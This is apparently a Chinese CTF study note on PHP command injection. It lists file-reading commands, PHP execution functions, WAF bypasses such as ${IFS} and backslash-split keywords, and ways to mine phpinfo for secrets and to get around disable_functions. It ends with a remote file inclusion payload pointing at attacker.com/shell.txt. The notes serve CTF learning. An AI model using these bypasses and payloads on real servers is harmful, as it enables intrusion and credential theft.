查文件:
1 | cat /(绝对路径) or (相对路径) |
1 | print_r(scandir(current(localeconv()))); = ls |
绕过
1 | #空格: |
特殊:
1 | print_r(scandir(hex2bin("2f"))); #读取根目录 |
常见执行函数:(php)
1 | "exec", "shell_exec", "system", "passthru", "proc_open", "show_source", |
1 | ?com=nl /* 读取文件,和cat差不多 |
eg:
加了:

没加:

找文件:
命令结构拆解
1. find
- 作用: 在文件系统中递归搜索符合条件的文件/目录。
- 定位: 最强大的文件搜索工具,支持多级过滤。
2. /
- 含义: 搜索的起始路径为 根目录(即全盘搜索)。
- 扩展:
- 若缩小范围可替换为其他路径(如
/var/www仅搜Web目录)。 - CTF中常用路径:
/home,/tmp,/opt,/var/www/html.
- 若缩小范围可替换为其他路径(如
3. -iname "\*flag\*"
-iname: 按文件名匹配,不区分大小写(如匹配Flag.txt,FLAG.log)。"\*flag\*":*是通配符,匹配任意字符(包括空字符)。flag是关键词,整体匹配 文件名中包含flag的文件(如secret_flag.txt,flag_hidden)。
1 | eg: |
绕过:
关键绕过技巧:
- 斜杠
/绕过:
使用\转义符号干扰正则匹配,例如f\lag会被 Shell 解析为flag,但 WAF 的正则\/无法匹配到斜杠。 - 空格绕过:
用${IFS}(Internal Field Separator)替代空格。 - 空格绕过2:
\t代替空格,绕过空格过滤。
- 动态生成字符:
$(printf "\x57")会生成字符W(ASCII 0x57),可能是为了构造文件名或混淆检测。 - 文件名混淆:
将flag.php改写为f\lag_831b69012c67b35f.p\hp,利用\分割关键词,同时加入随机字符串避免直接匹配flag。
补充:
cat、nl、od 的核心区别
| 命令 | 功能 | 输出示例 | CTF 场景优势 |
|---|---|---|---|
cat |
直接连接文件并输出内容 | flag{example} |
简洁,适合快速查看文本文件 |
nl |
为每一行添加行号后输出 | 1 flag{example} |
区分多文件内容,定位关键行 |
od |
以八进制/十六进制格式转储文件内容 | 0000000 066 154 141 147 173 145... |
读取二进制文件或绕过特殊字符过滤 |
找到phpinfo后该怎么做:
1. 敏感环境变量
- 搜索关键词:
$_ENV、$_SERVER、Environment Variables - 可能泄露的信息:
- 数据库密码、API密钥、FLAG路径。
- Web根目录(
DOCUMENT_ROOT、SCRIPT_FILENAME)。 - 临时文件路径(
upload_tmp_dir、session.save_path)。
2. PHP配置选项
- 关键配置项:
allow_url_fopen/allow_url_include:若为On,可能触发文件包含或远程代码执行(RFI)。disable_functions:被禁用的高危函数(如system、exec),需绕过限制。open_basedir:目录访问限制,尝试用glob://或phar://协议绕过。enable_dl:若为On,可能加载恶意扩展。auto_prepend_file/auto_append_file:自动加载的文件路径,可能被利用。
3. 扩展与版本信息
- PHP版本:检查是否过旧(如PHP <5.6存在已知漏洞)。
- 扩展列表:
extension_dirLoaded Configuration File。- 若加载
FFmpeg、Imagick等扩展,可能触发命令执行。 memcached、redis等扩展可能泄露缓存数据。
- 若加载
4. 文件包含与路径泄露
- 绝对路径:通过
_SERVER['SCRIPT_FILENAME']等定位Web目录。 - include_path:影响文件包含的默认路径,可能结合路径穿越(
../)利用。
5. 其他攻击面
- Session配置:
session.save_handler、session.upload_progress可能用于会话劫持。 - HTTP头信息:
X-Powered-By、Server字段可能暴露服务器版本。 - 临时文件:
upload_tmp_dir中的文件可能残留,尝试LFI读取。
6. 利用思路
- 命令执行绕过:若
disable_functions禁用常见函数,尝试用pcntl_exec、imap_open、LD_PRELOAD劫持(需putenv可用)。 - 反序列化漏洞:检查
session.serialize_handler配置,结合phar://触发反序列化。 - Log Poisoning:结合绝对路径,污染日志文件后包含执行。
操作步骤
- 浏览器搜索(Ctrl+F):输入上述关键词快速定位配置项。
- 检查注释和响应头:源码中可能隐藏提示或Flag。
- 结合题目场景:如文件上传+路径泄露=上传Webshell;反序列化+扩展=利用
phar触发。
示例:若发现allow_url_include=On且open_basedir未限制,可尝试通过php://input或远程文件包含(RFI)执行代码:
php
复制
1 | ?file=http://attacker.com/shell.txt |
记得根据实际信息灵活调整攻击链!